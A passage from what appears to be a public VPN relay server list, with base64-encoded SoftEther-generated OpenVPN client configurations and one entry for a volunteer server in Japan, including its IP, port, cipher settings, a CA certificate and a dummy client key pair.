yMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn964630803,126.206.11.243,638671,6,1121642164,Japan,JP,61,1000,969482,223305851420534,2weeks,yusuke's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjYuMjA2LjExLjI0MyAxNTY4DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2V